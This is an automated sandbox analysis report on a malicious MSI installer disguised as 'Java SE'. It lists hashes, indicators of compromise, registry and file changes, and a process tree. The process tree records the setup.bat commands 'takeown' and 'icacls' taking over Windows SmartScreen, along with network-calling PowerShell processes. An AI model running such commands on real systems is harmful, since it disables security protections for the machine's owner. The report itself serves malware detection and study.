Analysis
- max time kernel
150s - max time network
148s - platform
windows10_x64 - resource
win10v20210408 - submitted
09/08/2021, 08:27
Static task
static1
Behavioral task
behavioral1
Sample
dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi
Resource
win7v20210408
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi
Resource
win10v20210408
0 signatures
0 seconds
General
- Target dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi
- Size 3.9MB
- Sample210809-p9s63bt58n
- SHA256 dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88
- MD5 0b8b4d1854add7dfc1a27b1e93fb002b
- SHA1 38cecb90eb2b89d81db27a988ff09ce20db26e8e
- SHA512 746d3f81089bf4210a831b5f5a8bec6fa946fe2cb071eb03cce2702c1e79f198cf40a7eafc89067923282a11d583188c885de8fd7d656367ee0b2ba1b861dd34
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 7 IoCs
flow pid Process 8 604 msiexec.exe 10 604 msiexec.exe 12 604 msiexec.exe 14 604 msiexec.exe 26 4220 powershell.exe 29 2196 powershell.exe 30 4308 powershell.exe - Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
pid Process 2284 start.EXE - Possible privilege escalation attempt 3 IoCs
pid Process 788 takeown.exe 360 icacls.exe 3992 icacls.exe - Loads dropped DLL 3 IoCs
pid Process 3956 MsiExec.exe 3312 MsiExec.exe 3312 MsiExec.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 788 takeown.exe 360 icacls.exe 3992 icacls.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce start.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" start.EXE - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe - Drops file in Program Files directory 27 IoCs
description ioc Process File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-stdio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-localization-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-processthreads-l1-1-1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-conio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-process-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-runtime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-utility-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-synch-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l2-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-locale-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-math-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\SyncMonitor.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140_1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-timezone-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-environment-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-convert-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-time-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\patch_service.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-private-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-string-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-filesystem-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-multibyte-l1-1-0.dll msiexec.exe - Drops file in Windows directory 14 IoCs
description ioc Process File created C:\Windows\Installer\f74675b.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI7401.tmp msiexec.exe File opened for modification C:\Windows\Installer\{D475A886-3AC6-4816-B147-DC43D33F3540}\Logo.ico msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI6B15.tmp msiexec.exe File created C:\Windows\Installer\{D475A886-3AC6-4816-B147-DC43D33F3540}\Logo.ico msiexec.exe File opened for modification C:\Windows\Installer\f74675b.msi msiexec.exe File created C:\Windows\Installer\SourceHash{D475A886-3AC6-4816-B147-DC43D33F3540} msiexec.exe File opened for modification C:\Windows\Installer\MSI6A97.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI7364.tmp msiexec.exe File created C:\Windows\Installer\wix{D475A886-3AC6-4816-B147-DC43D33F3540}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\f74675d.msi msiexec.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 explorer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz explorer.exe - Delays execution with timeout.exe 2 IoCs
pid Process 4052 timeout.exe 2312 timeout.exe - Kills process with taskkill 1 IoCs
pid Process 672 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowStatusBar = "1" explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe - Modifies registry class 23 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\ProductIcon = "C:\\Windows\\Installer\\{D475A886-3AC6-4816-B147-DC43D33F3540}\\Logo.ico" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\688A574D6CA361841B74CD343DF35304\ProductFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\Version = "134217999" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3434171B899944440BE5255593F74797 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList\PackageName = "dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\688A574D6CA361841B74CD343DF35304 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\ProductName = "Java SE" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3434171B899944440BE5255593F74797\688A574D6CA361841B74CD343DF35304 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\PackageCode = "9D60AB34E1F9AF540951EAB0CA4EB4A5" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\688A574D6CA361841B74CD343DF35304\AdvertiseFlags = "388" msiexec.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3632 msiexec.exe 3632 msiexec.exe 3584 powershell.exe 184 powershell.exe 3976 powershell.exe 820 powershell.exe 820 powershell.exe 3976 powershell.exe 184 powershell.exe 3584 powershell.exe 184 powershell.exe 3584 powershell.exe 820 powershell.exe 3976 powershell.exe 868 powershell.exe 868 powershell.exe 1692 powershell.exe 2332 powershell.exe 2744 powershell.exe 868 powershell.exe 1692 powershell.exe 2332 powershell.exe 744 powershell.exe 2744 powershell.exe 952 powershell.exe 952 powershell.exe 1692 powershell.exe 1692 powershell.exe 2332 powershell.exe 2332 powershell.exe 2744 powershell.exe 2744 powershell.exe 744 powershell.exe 744 powershell.exe 1376 powershell.exe 1376 powershell.exe 904 powershell.exe 904 powershell.exe 952 powershell.exe 744 powershell.exe 824 powershell.exe 824 powershell.exe 1376 powershell.exe 904 powershell.exe 952 powershell.exe 4008 powershell.exe 4008 powershell.exe 2228 powershell.exe 2228 powershell.exe 3908 powershell.exe 3908 powershell.exe 1444 powershell.exe 1444 powershell.exe 824 powershell.exe 4008 powershell.exe 4016 powershell.exe 4016 powershell.exe 1908 powershell.exe 1908 powershell.exe 2308 powershell.exe 2308 powershell.exe 2340 powershell.exe 2340 powershell.exe 4220 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 604 msiexec.exe Token: SeIncreaseQuotaPrivilege 604 msiexec.exe Token: SeSecurityPrivilege 3632 msiexec.exe Token: SeCreateTokenPrivilege 604 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 604 msiexec.exe Token: SeLockMemoryPrivilege 604 msiexec.exe Token: SeIncreaseQuotaPrivilege 604 msiexec.exe Token: SeMachineAccountPrivilege 604 msiexec.exe Token: SeTcbPrivilege 604 msiexec.exe Token: SeSecurityPrivilege 604 msiexec.exe Token: SeTakeOwnershipPrivilege 604 msiexec.exe Token: SeLoadDriverPrivilege 604 msiexec.exe Token: SeSystemProfilePrivilege 604 msiexec.exe Token: SeSystemtimePrivilege 604 msiexec.exe Token: SeProfSingleProcessPrivilege 604 msiexec.exe Token: SeIncBasePriorityPrivilege 604 msiexec.exe Token: SeCreatePagefilePrivilege 604 msiexec.exe Token: SeCreatePermanentPrivilege 604 msiexec.exe Token: SeBackupPrivilege 604 msiexec.exe Token: SeRestorePrivilege 604 msiexec.exe Token: SeShutdownPrivilege 604 msiexec.exe Token: SeDebugPrivilege 604 msiexec.exe Token: SeAuditPrivilege 604 msiexec.exe Token: SeSystemEnvironmentPrivilege 604 msiexec.exe Token: SeChangeNotifyPrivilege 604 msiexec.exe Token: SeRemoteShutdownPrivilege 604 msiexec.exe Token: SeUndockPrivilege 604 msiexec.exe Token: SeSyncAgentPrivilege 604 msiexec.exe Token: SeEnableDelegationPrivilege 604 msiexec.exe Token: SeManageVolumePrivilege 604 msiexec.exe Token: SeImpersonatePrivilege 604 msiexec.exe Token: SeCreateGlobalPrivilege 604 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeShutdownPrivilege 3312 MsiExec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe Token: SeTakeOwnershipPrivilege 3632 msiexec.exe Token: SeRestorePrivilege 3632 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 604 msiexec.exe 604 msiexec.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3632 wrote to memory of 3956 3632 msiexec.exe 77 PID 3632 wrote to memory of 3956 3632 msiexec.exe 77 PID 3632 wrote to memory of 3956 3632 msiexec.exe 77 PID 3632 wrote to memory of 3312 3632 msiexec.exe 78 PID 3632 wrote to memory of 3312 3632 msiexec.exe 78 PID 3632 wrote to memory of 3312 3632 msiexec.exe 78 PID 3312 wrote to memory of 4084 3312 MsiExec.exe 79 PID 3312 wrote to memory of 4084 3312 MsiExec.exe 79 PID 3312 wrote to memory of 4084 3312 MsiExec.exe 79 PID 4084 wrote to memory of 788 4084 cmd.exe 81 PID 4084 wrote to memory of 788 4084 cmd.exe 81 PID 4084 wrote to memory of 788 4084 cmd.exe 81 PID 4084 wrote to memory of 360 4084 cmd.exe 82 PID 4084 wrote to memory of 360 4084 cmd.exe 82 PID 4084 wrote to memory of 360 4084 cmd.exe 82 PID 4084 wrote to memory of 672 4084 cmd.exe 83 PID 4084 wrote to memory of 672 4084 cmd.exe 83 PID 4084 wrote to memory of 672 4084 cmd.exe 83 PID 4084 wrote to memory of 3992 4084 cmd.exe 84 PID 4084 wrote to memory of 3992 4084 cmd.exe 84 PID 4084 wrote to memory of 3992 4084 cmd.exe 84 PID 4084 wrote to memory of 3976 4084 cmd.exe 86 PID 4084 wrote to memory of 3976 4084 cmd.exe 86 PID 4084 wrote to memory of 3976 4084 cmd.exe 86 PID 4084 wrote to memory of 820 4084 cmd.exe 85 PID 4084 wrote to memory of 820 4084 cmd.exe 85 PID 4084 wrote to memory of 820 4084 cmd.exe 85 PID 4084 wrote to memory of 3584 4084 cmd.exe 87 PID 4084 wrote to memory of 3584 4084 cmd.exe 87 PID 4084 wrote to memory of 3584 4084 cmd.exe 87 PID 4084 wrote to memory of 3720 4084 cmd.exe 88 PID 4084 wrote to memory of 3720 4084 cmd.exe 88 PID 4084 wrote to memory of 3720 4084 cmd.exe 88 PID 3720 wrote to memory of 184 3720 cmd.exe 89 PID 3720 wrote to memory of 184 3720 cmd.exe 89 PID 3720 wrote to memory of 184 3720 cmd.exe 89 PID 4084 wrote to memory of 868 4084 cmd.exe 90 PID 4084 wrote to memory of 868 4084 cmd.exe 90 PID 4084 wrote to memory of 868 4084 cmd.exe 90 PID 4084 wrote to memory of 1692 4084 cmd.exe 91 PID 4084 wrote to memory of 1692 4084 cmd.exe 91 PID 4084 wrote to memory of 1692 4084 cmd.exe 91 PID 4084 wrote to memory of 2332 4084 cmd.exe 93 PID 4084 wrote to memory of 2332 4084 cmd.exe 93 PID 4084 wrote to memory of 2332 4084 cmd.exe 93 PID 4084 wrote to memory of 2744 4084 cmd.exe 92 PID 4084 wrote to memory of 2744 4084 cmd.exe 92 PID 4084 wrote to memory of 2744 4084 cmd.exe 92 PID 4084 wrote to memory of 744 4084 cmd.exe 94 PID 4084 wrote to memory of 744 4084 cmd.exe 94 PID 4084 wrote to memory of 744 4084 cmd.exe 94 PID 4084 wrote to memory of 952 4084 cmd.exe 95 PID 4084 wrote to memory of 952 4084 cmd.exe 95 PID 4084 wrote to memory of 952 4084 cmd.exe 95 PID 4084 wrote to memory of 1376 4084 cmd.exe 96 PID 4084 wrote to memory of 1376 4084 cmd.exe 96 PID 4084 wrote to memory of 1376 4084 cmd.exe 96 PID 4084 wrote to memory of 904 4084 cmd.exe 97 PID 4084 wrote to memory of 904 4084 cmd.exe 97 PID 4084 wrote to memory of 904 4084 cmd.exe 97 PID 4084 wrote to memory of 824 4084 cmd.exe 98 PID 4084 wrote to memory of 824 4084 cmd.exe 98 PID 4084 wrote to memory of 824 4084 cmd.exe 98 PID 4084 wrote to memory of 4008 4084 cmd.exe 99
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\dee25db703acc220d63785d7a72cce3817305642f5da1dc6f155d5d693bcde88.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:604
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3632 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 58191B8D72362876A8233B02D8979C032⤵
- Loads dropped DLL
PID:3956
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C1D2C5603A69A5F01ADEB51FD787DCA0 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Windows\syswow64\cmd.exe"cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\smartscreen.exe" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:788
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /reset4⤵
- Possible privilege escalation attempt
